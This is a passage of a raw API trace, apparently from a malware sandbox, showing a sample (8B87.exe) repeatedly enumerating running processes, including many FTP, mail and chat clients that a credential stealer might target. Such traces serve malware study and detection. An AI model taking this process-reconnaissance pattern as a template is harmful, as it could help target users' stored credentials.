dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0282.743] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.745] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0282.747] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0282.749] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0282.752] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0282.754] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0282.756] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0282.758] CloseHandle (hObject=0xa10) returned 1 [0282.758] Sleep (dwMilliseconds=0x64) [0282.759] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa10 [0282.772] Process32First (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0282.774] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0282.775] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0282.777] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0282.779] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0282.781] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0282.783] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0282.784] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0282.786] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0282.829] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.832] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.835] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0282.838] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.841] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.844] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.846] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.848] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.850] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.852] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.853] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0282.855] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0282.857] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0282.859] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.861] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0282.865] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0282.867] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0282.870] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0282.873] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0282.876] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0282.878] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0282.881] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.884] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0282.887] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0282.889] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0282.892] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0282.896] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0282.898] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0282.901] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0282.903] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0282.906] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0282.908] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0282.911] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0282.913] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0282.916] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0282.919] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0282.921] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0282.924] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0282.928] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0282.930] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0282.933] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0282.979] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0283.015] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0283.018] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0283.020] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0283.022] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0283.025] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0283.027] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0283.029] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0283.032] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0283.034] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0283.036] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0283.039] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0283.042] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0283.045] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0283.047] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0283.049] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0283.052] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0283.055] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0283.059] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0283.061] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0283.064] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0283.066] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0283.070] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0283.073] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0283.076] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0283.078] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, 